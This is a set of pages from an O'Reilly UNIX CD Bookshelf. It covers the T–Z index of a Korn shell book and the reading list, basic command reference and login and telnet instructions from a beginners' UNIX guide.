specifying in trap command : 8.4. trap
STOP : A.6. Workalikes on PC Platforms
TERM
8.3.2. kill
8.4. trap
8.4.2. Process ID Variables and Temporary Files
9.1.2.1. EXIT
A.2. The IEEE 1003.2 POSIX Shell Standard
trapping : (see traps)
TSTP
8.2. Job Control
8.3.1. Control-key Signals
sleep : 8.4. trap
SNOBOL : 4.2. Shell Variables
sort
1.7.1. Standard I/O
1.7.2. I/O Redirection
1.7.3. Pipelines
1.8. Background Jobs
1.8.1. Background I/O
4.3.1. Syntax of String Operators
5.2. for
7.2.2. read
8.2.2. Suspending a Job
special characters : 4.2.2. More on Variable Syntax
spell : 4.1. Shell Scripts and Functions
stacks : 4.5. Advanced Examples: pushd and popd
Stallman, Richard : A.5. bash
standard I/O : (see I/O)
string I/O : (see print, read)
string operators
4.3. String Operators
A.1. The Bourne Shell
# (length) : 4.3.4. Length Operator
:+
4.3.1. Syntax of String Operators
5.2. for
:-
4.3.1. Syntax of String Operators
4.5. Advanced Examples: pushd and popd
9.2.3.4. Break conditions
:= : 4.3.1. Syntax of String Operators
:?
4.3.1. Syntax of String Operators
4.5. Advanced Examples: pushd and popd
in next release : A.7. The Future of the Korn Shell
summary of functionality : 4.3. String Operators
syntax : 4.3.1. Syntax of String Operators
stty : 1.9.5. Control Keys
to customize control-key signals : 8.3.1. Control-key Signals
subprocesses : 3.5. Customization and Subprocesses
subshells
4.1. Shell Scripts and Functions
8. Process Handling
8.6. Subshells
information passed from parent processes : 3.5. Customization and Subprocesses
inheritance of properties from parent shells : 8.6.1. Subshell Inheritance
nested
8.6.2. Nested Subshells
9.2.3.6. Limitations
A.2. The IEEE 1003.2 POSIX Shell Standard
compared to code blocks : 8.6.2. Nested Subshells
suid : A.6. Workalikes on PC Platforms
suid shell scripts
10.3.2. A System Break-in Scenario
10.3.4. Privileged Mode
creating : 10.3.2. A System Break-in Scenario
dangers of : 10.3.2. A System Break-in Scenario
SunOS
1. Korn Shell Basics
1.3. History of UNIX Shells
1.9.5. Control Keys
4.4. Command Substitution
system calls
exec : 8.5. Coroutines
fork : 8.5. Coroutines
pipe : 8.5. Coroutines
wait : 8.5. Coroutines
System III : 1.9.5. Control Keys
System V
1.9.5. Control Keys
3.4.2.4. Terminal Types
System V Release 4
1.3.1. The Korn Shell
1.4. Getting the Korn Shell

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1998 O'Reilly & Associates, Inc. All Rights Reserved.

The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: T

tail : 5.2. for
TCP/IP : 7.2.2.3. Code blocks
tee : 7.1.2. File Descriptors
temporary files : 8.4.2. Process ID Variables and Temporary Files
TERM
3.4.2.4. Terminal Types
3.5.1. Environment Variables
5.3. case
5.4. select
6.3. Arrays
7.2.2.1. Reading lines from files
10.2.3. Types of Global Customization
termcap : 3.4.2.4. Terminal Types
terminfo
3.4.2.4. Terminal Types
5.4. select
test
Summary of Korn Shell Features
(see also condition tests, old syntax)
test operators, list of : B.4. Test Operators
testopt : 3.3. Options
thrashing : (see processes, performance characteristics of)
tilde (~) notation
1.6.1.2. Tilde notation
7.3. Command-line Processing
7.3.1. Quoting
A.1. The Bourne Shell
A.2. The IEEE 1003.2 POSIX Shell Standard
within double quotes : 3.4.1. Variables and Quoting
within variable expressions : A.7. The Future of the Korn Shell
~+ (current directory) : 7.3. Command-line Processing
~- (previous directory) : 7.3. Command-line Processing
TMOUT : 10.2.3. Types of Global Customization
/tmp
8.4.2. Process ID Variables and Temporary Files
9.2.1.1. The driver script
TOPS-20
2.3.5. Filename Completion and Expansion
2.4.6. Filename Completion
tr
1.7.1. Standard I/O
5.2. for
6.3.3. String Formatting Options
trap command : 8.4. trap
- (to reset default) : 8.4.4. Resetting Traps
null string argument (for ignoring signals) : 8.4.3. Ignoring Signals
syntax : 8.4. trap
traps
8.4. trap
A.1. The Bourne Shell
after every statement : 9.1.2.3. DEBUG
for ignoring signals : 8.4.3. Ignoring Signals
lack of propagation to subshells
8.6.1. Subshell Inheritance
A.7. The Future of the Korn Shell
listing : 8.4. trap
propagation to subshells in next release : A.7. The Future of the Korn Shell
resetting defaults : 8.4.4. Resetting Traps
setting global traps within functions : 8.4.1. Traps and Functions
trapping fake signals
9.1.2. Fake Signals
9.2.2. The Preamble
9.2.3.1. Commands
within functions : 8.4.1. Traps and Functions
troff
1.6. Files
5.5. while and until
8.2.2. Suspending a Job
true : 8.4. trap
tty : 5.3. case
two-way pipes
Summary of Korn Shell Features
8.5.4. Coroutines with Two-way Pipes
for building interfaces to existing programs : 8.5.4. Coroutines with Two-way Pipes
compared to standard pipes : 8.5.5. Two-way Pipes Versus Standard Pipes
creating : 8.5.4. Coroutines with Two-way Pipes
flow of I/O : 8.5.4. Coroutines with Two-way Pipes
relationship to standard I/O : 8.5.4. Coroutines with Two-way Pipes
typeset
6.3.1. typeset
A.1. The Bourne Shell
function options
+f : 6.3.5. Function Options
+ft : 6.3.5. Function Options
-f : 6.3.5. Function Options
-ft
6.3.5. Function Options
9.1.1. Set Options
-fu : 6.3.5. Function Options
-fx
6.3.5. Function Options
10.2.3. Types of Global Customization
making variables local to functions
4.2.1.1. Positional parameters in functions
6.3.2. Local Variables in Functions
options supported in pdksh : A.4. pdksh
output of in next release : A.7. The Future of the Korn Shell
string formatting options : 6.3.3. String Formatting Options
-l : 6.3.3. String Formatting Options
-L
6.3.3. String Formatting Options
7.2.2.5. Options to read
combined effect : 6.3.3. String Formatting Options
examples : 6.3.3. String Formatting Options
syntax : 6.3.1. typeset
turning off options : 6.3.3. String Formatting Options
type and attribute options : 6.3.4. Type and Attribute Options
-f
6.3.4. Type and Attribute Options
6.3.5. Function Options
-i : 6.3.4. Type and Attribute Options
-r
6.3.4. Type and Attribute Options
10.3.4. Privileged Mode
-x : 6.3.4. Type and Attribute Options
variables in kshdb break conditions : 9.2.3.6. Limitations
with no arguments (to list variables) : 6.3.5. Function Options
typographical conventions : Conventions Used in This Handbook

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1998 O'Reilly & Associates, Inc. All Rights Reserved.

The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: U

ulimit
10.2.2. ulimit
A.1. The Bourne Shell
hard vs. soft limits : 10.2.2. ulimit
options
-a (print all limits) : 10.2.2. ulimit
-c (core file size) : 10.2.2. ulimit
-d (process data segment) : 10.2.2. ulimit
-f (file size) : 10.2.2. ulimit
-n (file descriptors) : 10.2.2. ulimit
-s (process stack segment) : 10.2.2. ulimit
-t (process CPU time) : 10.2.2. ulimit
-v (virtual memory) : 10.2.2. ulimit
privileged (superuser) options to : 10.2.2. ulimit
removing limits : 10.2.2. ulimit
Ultrix
1. Korn Shell Basics
1.3. History of UNIX Shells
1.9.5. Control Keys
umask
10.2.1. umask
A.6. Workalikes on PC Platforms
as logical XOR with file permission : 10.2.1. umask
unalias : 3.2.1. Tracked Aliases
uncompress : 1.8. Background Jobs
UNIX
Command Syntax Standard Rules : 6.1.3. getopts
documentation conventions : 4.3.1. Syntax of String Operators
filenames in BSD : 7.2.2.3. Code blocks
filenames in System V
6.3.3. String Formatting Options
7.2.2.3. Code blocks
interprocess communication in : 8.3. Signals
Programmer's Manual
8. Process Handling
8.3.3.2. BSD
security : (see security)
shell history : 1.3. History of UNIX Shells
terminal interface
2. Command-line Editing
2.3.4. Moving Around in the History File
2.3.6. Miscellaneous Commands
2.4. Vi Editing Mode
utilities : 1.7.1. Standard I/O
versions
A/UX
1. Korn Shell Basics
1.9.5. Control Keys
AIX
1. Korn Shell Basics
8.3.3. ps
BSD
1.3. History of UNIX Shells
1.9.5. Control Keys
2.3.4. Moving Around in the History File
2.3.6. Miscellaneous Commands
2.4. Vi Editing Mode
3.4. Shell Variables
3.4.2.2. Mail Variables
4.4. Command Substitution
7.2.2.3. Code blocks
8.3. Signals
8.3.3. ps
8.3.3.2. BSD
9.2.3.3. Breakpoints
A.2. The IEEE 1003.2 POSIX Shell Standard
A.4. pdksh
HP/UX
1. Korn Shell Basics
1.9.5. Control Keys
8.3.3. ps
SCO : 1.9.5. Control Keys
SunOS
1. Korn Shell Basics
1.3. History of UNIX Shells
1.9.5. Control Keys
4.4. Command Substitution
8.3.3. ps
A.1. The Bourne Shell
A.3. wksh
A.4. pdksh
System III
1.9.5. Control Keys
8.2. Job Control
System V
1.9.5. Control Keys
3.4. Shell Variables
3.4.2.4. Terminal Types
6.3.3. String Formatting Options
7.2.2.3. Code blocks
8.2. Job Control
8.3. Signals
8.3.3. ps
9.2.3.3. Breakpoints
A.2. The IEEE 1003.2 POSIX Shell Standard
System V Release 4
Korn Shell Versions
1.3.1. The Korn Shell
1.4. Getting the Korn Shell
6.1.3.1. More About C Compilers
A.3. wksh
that don't support job control : 8.2. Job Control
Ultrix
1. Korn Shell Basics
1.3. History of UNIX Shells
1.9.5. Control Keys
8.3.3. ps
UTS : 1. Korn Shell Basics
Version 6 : 4.3.2. Patterns and Regular Expressions
Version 7
1.3. History of UNIX Shells
A.1. The Bourne Shell
A.2. The IEEE 1003.2 POSIX Shell Standard
A.4. pdksh
Xenix
1. Korn Shell Basics
1.9.5. Control Keys
8.2. Job Control
workalikes
Coherent : A.6. Workalikes on PC Platforms
Minix : A.6. Workalikes on PC Platforms
UNIX commands : C.4. UUCP
UNIX System Laboratories (USL)
1.3.1. The Korn Shell
A.3. wksh
A.7. The Future of the Korn Shell
address and phone number : A.3. wksh
unset
in POSIX shell : A.2. The IEEE 1003.2 POSIX Shell Standard
until
5.4. select
5.5. while and until
differences with while : 5.5. while and until
redirecting I/O to : 7.2.2.2. I/O Redirection and multiple commands
syntax : 5.5. while and until
USENET
comp.binaries.os2 newsgroup : A.6. Workalikes on PC Platforms
comp.sources.unix newsgroup : A.4. pdksh
user-controlled multitasking : 8. Process Handling
/usr/bin
3.4.2.5. Command Search Path
10.3.2. A System Break-in Scenario
/usr/lib : 9.2.1.1. The driver script
/usr/tmp : 8.4.2. Process ID Variables and Temporary Files
UTS : 1. Korn Shell Basics
uucp
7.1.1. Here-documents
A.6. Workalikes on PC Platforms
uucp command : C.4. UUCP

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1998 O'Reilly & Associates, Inc. All Rights Reserved.

The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: V

variables
3. Customizing Your Environment
3.4. Shell Variables
arrays : (see arrays)
assignment to : 3.4. Shell Variables
built-in : (see built-in variables)
compared to conventional programming languages : 4.2. Shell Variables
defining : 3.4. Shell Variables
deleting : 3.4. Shell Variables
environment : (see environment variables)
global : 4.2.1.1. Positional parameters in functions
integer
6.2. Integer Variables and Arithmetic
6.2.2. Arithmetic Variables and Assignment
6.3.4. Type and Attribute Options
A.1. The Bourne Shell
(see also arithmetic expressions; let; typeset, -i)
(see also let)
listing : 6.3.5. Function Options
local (in functions)
4.2.1.1. Positional parameters in functions
6.3.2. Local Variables in Functions
in next release : A.7. The Future of the Korn Shell
order of substitution in command-line processing : 7.3. Command-line Processing
pattern-matching operators : (see pattern-matching operators)
positional parameters : (see positional parameters)
quoting rules and : 3.4.1. Variables and Quoting
string operators : (see string operators)
value of
full syntax : 4.2.2. More on Variable Syntax
short form : 3.4. Shell Variables
VAX/VMS
1.6.2. Filenames and Wildcards
1.7.3. Pipelines
4.3.2.1. Regular expression basics
4.4. Command Substitution
5.2. for
8. Process Handling
Version 7 : 1.3. History of UNIX Shells
version of Korn shell, determining : Korn Shell Versions
vi editor
2. Command-line Editing
2.4. Vi Editing Mode
2.6. Finger Habits
3.1. The .profile File
3.4.2.4. Terminal Types
3.5.1. Environment Variables
4.3.2. Patterns and Regular Expressions
4.3.2.2. Korn shell versus awk/egrep regular expressions
8.2.2. Suspending a Job
9. Debugging Shell Programs
A.6. Workalikes on PC Platforms
vi-mode
Summary of Korn Shell Features
2.4. Vi Editing Mode
7.2.1.2. Options to print
10.2.3. Types of Global Customization
basic control mode commands : 2.4.1. Simple Control Mode Commands
case-changing command : 2.4.7. Miscellaneous Commands
character-finding commands : 2.4.5. Character-finding Commands
control mode : 2.4. Vi Editing Mode
delete buffer : 2.4.3. Deletion Commands
deletion commands : 2.4.3. Deletion Commands
abbreviations : 2.4.3. Deletion Commands
enabling : 2.1. Enabling Command-line Editing
entering and changing text : 2.4.2. Entering and Changing Text
entering input mode : 2.4.2. Entering and Changing Text
filename completion : 2.4.6. Filename Completion
filename expansion : 2.4.6. Filename Completion
input mode : 2.4. Vi Editing Mode
key customization in next release : A.7. The Future of the Korn Shell
keyboard shortcuts with aliases : 2.4.7. Miscellaneous Commands
moving around in the history file : 2.4.4. Moving Around in the History File
repeat counts : 2.4.1. Simple Control Mode Commands
retrieving words from previous commands : 2.4.7. Miscellaneous Commands
searching the history file : 2.4.4. Moving Around in the History File
undelete commands : 2.4.3. Deletion Commands
word definitions : 2.4.1. Simple Control Mode Commands
in workalike shells : A.6. Workalikes on PC Platforms
VISUAL
2.1. Enabling Command-line Editing
3.4.2.1. Editing mode variables
VM/CMS
Preface
1.8. Background Jobs
8. Process Handling
VT100 terminal : 3.4.2.4. Terminal Types

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1998 O'Reilly & Associates, Inc. All Rights Reserved.

The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: W

wait
8.5.1. wait
A.1. The Bourne Shell
arguments to : 8.5.1. wait
wc : 6.2.2. Arithmetic Variables and Assignment
whence
2.1. Enabling Command-line Editing
4.1.1. Functions
5.5. while and until
A.1. The Bourne Shell
A.5. bash
-p : 4.4. Command Substitution
-v
4.1.1. Functions
9.2.5. Exercises
to show tracked aliases : 10.3.3. Tracked Aliases
while
5.2. for
5.4. select
5.5. while and until
6.2.2. Arithmetic Variables and Assignment
6.3.3. String Formatting Options
7.2.2.1. Reading lines from files
7.2.2.3. Code blocks
7.2.2.4. Reading User Input
7.2.2.5. Options to read
7.3.1. Quoting
differences with until : 5.5. while and until
redirecting I/O to : 7.2.2.2. I/O Redirection and multiple commands
syntax : 5.5. while and until
who : 4.4. Command Substitution
who am i : 7.1. I/O Redirectors
wildcards
* : 1.6.2. Filenames and Wildcards
?
1.6.2. Filenames and Wildcards
4.3.2.2. Korn shell versus awk/egrep regular expressions
[ ]
1.6.2. Filenames and Wildcards
4.3.2.2. Korn shell versus awk/egrep regular expressions
in alias expansions : 3.2. Aliases
basic : 1.6.2. Filenames and Wildcards
character ranges : 1.6.2. Filenames and Wildcards
examples : 1.6.2. Filenames and Wildcards
order of expansion in command-line processing : 7.3. Command-line Processing
Windowing Korn shell (wksh)
A. Related Shells
A.3. wksh
wksh : A. Related Shells
words : 1.1. What Is a Shell?
order of separation in command-line processing : 7.3. Command-line Processing

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1998 O'Reilly & Associates, Inc. All Rights Reserved.

The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: X

X Window System
2.2. The History File
3.1. The .profile File
3.4.2.4. Terminal Types
7.1. I/O Redirectors
8.3.3.1. System V
8.5.4. Coroutines with Two-way Pipes
A. Related Shells
A.3. wksh
xcalc : 8.5.4. Coroutines with Two-way Pipes
Xenix
1. Korn Shell Basics
1.9.5. Control Keys
xterm
2.2. The History File
3.4.2.4. Terminal Types
7.1. I/O Redirectors
8.3.3.1. System V
xtrace mode : (see options, xtrace)

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1998 O'Reilly & Associates, Inc. All Rights Reserved.

The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: Y

y.tab.c : 4.3.3. Pattern-matching Operators

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1998 O'Reilly & Associates, Inc. All Rights Reserved.

The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: Z

zombies : (see processes, in pathological states)

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1998 O'Reilly & Associates, Inc. All Rights Reserved.

The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Appendix A] Reading List

Learning the Unix Operating System

Learning the Unix Operating SystemSearch this book
Previous: 7.3 Programming Appendix A Next: A.2 Text Processing and Programming

A. Reading List

Contents:
General UNIX Books
Text Processing and Programming
Shells
The X Window System

This section lists a few good books in several areas.

A.1 General UNIX Books

  • Harley Hahn's Student Guide to UNIX, second edition; McGraw-Hill; ISBN 0-07-025492-3; 1996. Not just for students, this is a complete and very readable guide to UNIX and networking.

  • UNIX for the Impatient by Paul W. Abrahams and Bruce Larson; Addison-Wesley; 1996. Terse and detailed, for people comfortable with technical material.

  • UNIX Power Tools, second edition, by Jerry Peek, Tim O'Reilly, Mike Loukides, and others; O'Reilly & Associates; ISBN 1-56592-260-3; 1997. A huge collection of tips, techniques, and concepts for making intermediate users into advanced users.

  • UNIX in a Nutshell: System V Edition by Daniel Gilly and the staff of O'Reilly & Associates; ISBN 1-56592-001-5; 1992. From user commands to programmers' utilities, this book covers UNIX with concise descriptions and illustrative examples.

  • Linux in a Nutshell by Jessica Perry Hekman and the staff of O'Reilly & Associates; ISBN 1-56592-167-4; 1997. A complete reference for Linux.

Previous: 7.3 Programming | Learning the Unix Operating System | Next: A.2 Text Processing and Programming
7.3 Programming | Book Index | A.2 Text Processing and Programming
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Appendix A] A.2 Text Processing and Programming

Learning the Unix Operating System

Learning the Unix Operating SystemSearch this book
Previous: A.1 General UNIX Books Appendix A
Reading List 		Next: A.3 Shells

A.2 Text Processing and Programming

  • Learning the vi Editor by Linda Lamb; O'Reilly & Associates; ISBN 0-937175-67-6; 1992. A complete introduction to vi, structured like UNIX in a Nutshell.

  • Learning GNU Emacs, second edition, by Deb Cameron & Bill Rosenblatt; O'Reilly & Associates; ISBN 1-56592-152-6; 1996. Emacs doesn't come with some versions of UNIX, but users find and install it - especially the version called GNU Emacs.

  • Learning Perl, second edition, by Randal L. Schwartz and Tom Christiansen; O'Reilly & Associates; ISBN 1-56592-284-0; 1997. An introduction to one of the most popular and powerful ways to process text and data and use all the power in your computer system.

Previous: A.1 General UNIX Books | Learning the Unix Operating System | Next: A.3 Shells
A.1 General UNIX Books | Book Index | A.3 Shells
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Appendix A] A.3 Shells

Learning the Unix Operating System

Learning the Unix Operating SystemSearch this book
Previous: A.2 Text Processing and Programming Appendix A
Reading List 		Next: A.4 The X Window System

A.3 Shells

  • UNIX Shell Programming by Stephen G. Kochan and Patrick H. Wood; Howard Sams; ISBN 0-672-48448-X; 1990. An excellent introduction to Bourne and Korn shell programming with lots of illustrative examples.

  • Learning the Korn Shell by Bill Rosenblatt; O'Reilly & Associates; ISBN 1-56592-054-6; 1993. A guide to using and programming the Korn shell.

  • Learning the bash Shell by Cameron Newham and Bill Rosenblatt; O'Reilly & Associates; ISBN 1-56592-347-2; second edition to be published early 1998. Using and programming a freely available shell that's popular on Linux.

Previous: A.2 Text Processing and Programming | Learning the Unix Operating System | Next: A.4 The X Window System
A.2 Text Processing and Programming | Book Index | A.4 The X Window System
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Appendix A] A.4 The X Window System

Learning the Unix Operating System

Learning the Unix Operating SystemSearch this book
Previous: A.3 Shells Appendix A
Reading List 		Next: B. Reference

A.4 The X Window System

  • X Window System User's Guide, Volume 3, OSF/Motif edition; Valerie Quercia and Tim O'Reilly; O'Reilly & Associates; ISBN 1-56592-015-5; 1993. A thorough guide to using and customizing the OSF/Motif graphical interface to X. Easy for beginners, but thorough enough to be a guide for experienced users.

Previous: A.3 Shells | Learning the Unix Operating System | Next: B. Reference
A.3 Shells | Book Index | B. Reference
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Appendix B] Reference

Learning the Unix Operating System

Learning the Unix Operating SystemSearch this book
Previous: A.4 The X Window System Appendix B Next: B.2 Special Symbols

B. Reference

Contents:
Commands and Their Meanings
Special Symbols

B.1 Commands and Their Meanings

cancel request | Cancel an lp print request.
cat files | Display one or more files.
cd | Change to home directory.
cd pathname | Change working directory to pathname.
cp old new | Copy old file to new file.
date | Display current date and time.
grep "pattern" files | Show lines matching pattern in files.
kill PID | End process PID.
lp files | Send files to default printer.
lpq | Check requests on lpr printer queue.
lpr files | Send files to default printer.
lprm request | Cancel an lpr print request.
lpstat | Check requests on lp printer queue.
ls | List names of files in working directory.
mail | Read your own mail.
mail user | Send mail to user.
man command | Display manual page of command.
mkdir pathname | Create a new directory with pathname.
more files | Display one screenful of each file at a time.
mv old new | Move or rename old file to new file.
pg files | Display one screenful of each file at a time.
ps | List your processes and their PIDs.
pwd | Print working (current) directory name.
rm files | Remove files.
rmdir pathname | Remove empty directory with pathname.
sort files | Sort lines of files.
who | List users currently on system.
who am i | Display listing for this session.

Previous: A.4 The X Window System | Learning the Unix Operating System | Next: B.2 Special Symbols
A.4 The X Window System | Book Index | B.2 Special Symbols
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Appendix B] B.2 Special Symbols

Learning the Unix Operating System

Learning the Unix Operating SystemSearch this book
Previous: B.1 Commands and Their Meanings Appendix B
Reference

B.2 Special Symbols

| | Set up a pipe.
> | Redirect output to a file.
< | Redirect input from a file.
>> | Append output to an existing file.
/ | Separator used in pathnames.
. | Current directory.
.. | Parent directory.
& | Process command in the background.
* | Match any number of characters in filename.
? | Match any single character in filename.
[] | Match any one of the enclosed characters in filename.
; | Command separator.
() | Group commands.

Previous: B.1 Commands and Their Meanings | Learning the Unix Operating System
B.1 Commands and Their Meanings | Book Index
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 1] Getting Started

Learning the Unix Operating System

Learning the Unix Operating SystemSearch this book
Previous: Acknowledgments Chapter 1 Next: 1.2 Syntax of UNIX Command Lines

1. Getting Started

Contents:
Working in the UNIX Environment
Syntax of UNIX Command Lines
Types of Commands
The Unresponsive Terminal

1.1 Working in the UNIX Environment

Before you can start using UNIX, your system administrator has to set up a UNIX account for you. Think of this account as your office - it's your place in the UNIX environment. Other users may also be at work on the same system. At many sites, there will be a whole network of UNIX computers. So in addition to knowing your account name, you may also need to know the hostname (name) of the computer that has your account.

Each user communicates with the computer from a terminal or a window. To get into the UNIX environment, you first connect to the UNIX computer. (You may have a terminal that's already connected to the computer.) Next, you start a session by logging in to your UNIX account. Logging in does two things: it identifies which user is in a session, and it tells the computer that you're ready to start working. When you've finished working, you log out - and, if necessary, disconnect from the UNIX computer.

1.1.1 Connecting to the UNIX Computer

If you turn on your terminal and see a message from the UNIX computer that looks something like this:

login:

you can probably skip ahead to the section "Logging In" later in this chapter. Otherwise, browse through the next few sections and find the one that applies to you. (We can't cover every user's situation exactly. If none of these suggestions helps you enough, ask another UNIX user or your system administrator.)

1.1.1.1 Connecting from another operating system

If you're using a personal computer to connect to the UNIX system, you'll probably need to start a terminal emulation program. Some common programs are procomm, qmodem, kermit, minicom, and telnet. (There are lots of others.)

If you start the program and get a UNIX "login:" prompt, you're ready to log in. But if your screen stays blank or you get another message that you don't understand, check with another user or your system administrator for help.

1.1.1.2 Connecting with a data switch

Your office may have a data switch, a port contender, or another system that allows you to select which computer you will connect to. Like a telephone switchboard, this connects your terminal to one of a number of computers. Enter your computer's hostname or code number at the prompt - or choose from the menu of hosts.

1.1.1.3 Connecting from a window system

If you have an X terminal or a workstation, you should read the introductory sections of Chapter 2, Using Window Systems to help you find the right steps for logging in.

1.1.2 Logging In

The process of making yourself known to the UNIX computer system and getting to your UNIX account is called logging in. Before you can start work, you must connect your terminal or window to the UNIX computer (see the previous sections). Then log in to UNIX and identify yourself. To log in, enter your username (usually your name or initials) and a private password. The password does not appear on the screen as you enter it.

When you log in successfully, you will get some system messages and finally the UNIX shell prompt (where you can enter UNIX commands). A successful login to the system named nutshell would look something like this:

O'Reilly & Associates, Inc.
nutshell.oreilly.com: Solaris UNIX version 2.5

login: john
Password:
Last login: Mon Nov  3 14:34:51 EST 1997 from joe_pc

------------- NOTICE TO ALL USERS -----------------
The hosts nutshell, mongo and cruncher will be down
for maintenance from 6 to 9 PM tonight.
---------------------------------------------------

My opinions may have changed, but not the fact that I am right.
Tue Nov  4 12:24:48 EST 1997
%

In this example, the system messages include a "fortune" and the date. Although this example doesn't show it, you may be asked for your terminal type, accounting or chargeback information, and so on. The last line to appear is the UNIX shell prompt. When you reach this point, you're logged in to your account and can start using UNIX commands.

Instead of a shell prompt, you may get a menu of choices ("email," "news," and so on). If one of the choices is something like "shell prompt" or "command prompt," select it. Then you'll be able to follow the descriptions and examples in this book.

The messages that appear when you log in differ from system to system and day to day. The shell prompt also differs. The examples in this book use the percentage sign as a prompt (%).

Let's summarize logging in, step by step:

  1. If needed, connect your terminal or window to the UNIX system.

  2. If you don't have a "login:" prompt, press the [RETURN] key a few times until you see that prompt on the screen.

  3. Type in your username in lowercase letters at the prompt. For example, if your login name is "john," type:

    login: john

    Press the [RETURN] key.

    The system should prompt you to enter your password. If passwords aren't used on your system, you can skip the next step.

  4. If you were assigned a password, type it at the prompt. For security, your password is not displayed as you type it:

    Password:

    Press the [RETURN] key after you finish typing your password.

The system verifies your account name and password, and, if they're correct, logs you in to your account.

1.1.2.1 Problem checklist

Nothing seemed to happen after I logged in.

Wait a minute, since the system may just be slow. If you still don't get anything, ask other users if they're having the same problem.

The system says "login incorrect".

Try logging in again, taking care to enter the correct name and password. Be sure to type your username at the "login:" prompt and your password at the "password:" prompt. Backspacing may not work while entering either of these; if you make a mistake, use [RETURN] to get a new "login:" prompt and try again. Also make sure to use the exact combination of upper- and lowercase letters your password contains.

If you still fail after trying to log in a few more times, check with your system administrator to make sure you're using the right username and password for your account.

All letters are in UPPERCASE and/or have backslashes (\) before them.

You probably entered your username in uppercase letters. Type exit and log in again.

1.1.3 Remote Logins

The computer you log in to may not be the computer you need to use. For instance, you might have a workstation on your desk but need to do some work on the main computer in another building. Or you might be a professor doing research with a computer at another university.

Your UNIX system can probably connect to another computer to let you work as if you were sitting at the other computer. To do this, you first log in to your local computer. Then you start a program on your local computer that connects to the remote computer. Some typical programs are telnet and rlogin (for connecting over a computer network) as well as cu and tip (for connecting through telephone lines using a modem). You use the remote system until you're done; when you log off the remote computer, the remote-login program quits, and then returns you to your local computer.

The syntax for most remote-login programs is:

program-name remote-hostname

For example, if Dr. Nelson wanted to connect to the remote computer named biolab.medu.edu, she'd log in to her local computer (named fuzzy) first. Next, she'd use the telnet program to reach the remote computer. Her session might look something like this:

login: jennifer
Password:

NOTICE to all second-floor MDs: meeting in room 304 at 4 PM.

fuzzy% telnet biolab.medu.edu

Medical University Biology Laboratory

biolab.medu.edu login: jdnelson
Password:

biolab%
    .
    .
    .
biolab% exit
Connection closed by foreign host.
fuzzy%

